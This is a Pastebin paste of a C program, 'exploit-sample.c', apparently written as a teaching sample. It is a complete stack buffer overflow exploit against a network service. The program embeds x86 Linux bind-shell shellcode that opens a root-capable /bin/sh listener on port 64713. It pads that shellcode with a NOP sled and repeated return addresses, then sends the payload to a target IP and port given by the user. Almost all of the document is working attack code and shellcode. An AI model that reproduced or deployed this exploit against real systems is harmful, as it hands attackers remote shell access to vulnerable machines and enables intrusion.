Advertisement
Guest User

exploit-sample.c

a guest
Aug 13th, 2013
636
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.46 KB | None | 0 0
  1.  
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <netdb.h>
  5. #include <netinet/in.h>
  6.  
  7. char shellcode[] =
  8.  
  9.   /* socket(AF_INET, SOCK_STREAM, 0) */
  10.  
  11.   "\x6a\x66"            // push   $0x66
  12.   "\x58"            // pop    %eax
  13.   "\x6a\x01"            // push   $0x1
  14.   "\x5b"            // pop    %ebx
  15.   "\x99"            // cltd
  16.   "\x52"            // push   %edx
  17.   "\x53"            // push   %ebx
  18.   "\x6a\x02"            // push   $0x2
  19.   "\x89\xe1"            // mov    %esp,%ecx
  20.   "\xcd\x80"            // int    $0x80
  21.  
  22.   /* bind(s, server, sizeof(server)) */
  23.  
  24.   "\x52"            // push   %edx
  25.   "\x66\x68\xfc\xc9"        // pushw  $0xc9fc  // PORT = 64713
  26.   "\x66\x6a\x02"        // pushw  $0x2
  27.   "\x89\xe1"            // mov    $esp,%ecx
  28.   "\x6a\x10"            // push   $0x10
  29.   "\x51"            // push   %ecx
  30.   "\x50"            // push   %eax
  31.   "\x89\xe1"            // mov    %esp,%ecx
  32.   "\x89\xc6"            // mov    %eax,%esi
  33.   "\x43"            // inc    %ebx
  34.   "\xb0\x66"            // mov    $0x66,%al
  35.   "\xcd\x80"            // int    $0x80
  36.  
  37.   /* listen(s, anything) */
  38.  
  39.   "\xb0\x66"            // mov    $0x66,%al
  40.   "\xd1\xe3"            // shl    %ebx
  41.   "\xcd\x80"            // int    $0x80
  42.  
  43.   /* accept(s, 0, 0) */
  44.  
  45.   "\x52"            // push   %edx
  46.   "\x56"            // push   %esi
  47.   "\x89\xe1"            // mov    %esp,%ecx
  48.   "\x43"            // inc    %ebx
  49.   "\xb0\x66"            // mov    $0x66,%al
  50.   "\xcd\x80"            // int    $0x80
  51.  
  52.   "\x93"            // xchg   %eax,%ebx
  53.  
  54.   /* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */
  55.  
  56.   "\x6a\x02"            // push   $0x2
  57.   "\x59"            // pop    %ecx
  58.  
  59.   "\xb0\x3f"            // mov    $0x3f,%al
  60.   "\xcd\x80"            // int    $0x80
  61.   "\x49"            // dec    %ecx
  62.   "\x79\xf9"            // jns    dup_loop
  63.  
  64.   /* execve("/bin/sh", ["/bin/sh"], NULL) */
  65.  
  66.   "\x6a\x0b"            // push   $0xb
  67.   "\x58"            // pop    %eax
  68.   "\x52"            // push   %edx
  69.   "\x68\x2f\x2f\x73\x68"    // push   $0x68732f2f
  70.   "\x68\x2f\x62\x69\x6e"    // push   $0x6e69622f
  71.   "\x89\xe3"            // mov    %esp, %ebx
  72.   "\x52"            // push   %edx
  73.   "\x53"            // push   %ebx
  74.   "\x89\xe1"            // mov    %esp, %ecx
  75.   "\xcd\x80";           // int    $0x80
  76.  
  77. //standard offset (probably must be modified)
  78.  
  79. #define RET 0xbffff620
  80.  
  81. int main(int argc, char *argv[]) {
  82.     char buffer[1064];
  83.     int s, i, size;
  84.     struct sockaddr_in remote;
  85.     struct hostent *host;
  86.  
  87.     if(argc != 3) {
  88.         printf("Usage: %s target-ip port\n", argv[0]);
  89.         return -1;
  90.     }
  91.  
  92.     // filling buffer with NOPs
  93.     memset(buffer, 0x90, 1064);
  94.  
  95.     //copying shellcode into buffer
  96.     memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
  97.  
  98.     // the previous statement causes a unintential Nullbyte at buffer[1000]
  99.     buffer[1000] = 0x90;
  100.  
  101.     // Copying the return address multiple times at the end of the buffer...
  102.     for(i=1022; i < 1059; i+=4) {
  103.         * ((int *) &buffer[i]) = RET;
  104.     }
  105.  
  106.     buffer[1063] = 0x0;
  107.  
  108.     //getting hostname
  109.  
  110.     host=gethostbyname(argv[1]);
  111.  
  112.     if (host==NULL) {
  113.         fprintf(stderr, "Unknown Host %s\n",argv[1]);
  114.         return -1;
  115.     }
  116.  
  117.     // creating socket...
  118.  
  119.     s = socket(AF_INET, SOCK_STREAM, 0);
  120.  
  121.     if (s < 0) {
  122.         fprintf(stderr, "Error: Socket\n");
  123.         return -1;
  124.     }
  125.  
  126.     //state Protocolfamily , then converting the hostname or IP address, and getting port number
  127.  
  128.     remote.sin_family = AF_INET;
  129.     remote.sin_addr = *((struct in_addr *)host->h_addr);
  130.     remote.sin_port = htons(atoi(argv[2]));
  131.  
  132.     // connecting with destination host
  133.  
  134.     if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) {
  135.         close(s);
  136.         fprintf(stderr, "Error: connect\n");
  137.         return -1;
  138.     }
  139.  
  140.     //sending exploit string
  141.     size = send(s, buffer, sizeof(buffer), 0);
  142.  
  143.     if (size==-1) {
  144.         close(s);
  145.         fprintf(stderr, "sending data failed\n");
  146.         return -1;
  147.     }
  148.  
  149.     // closing socket
  150.  
  151.     close(s);
  152. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement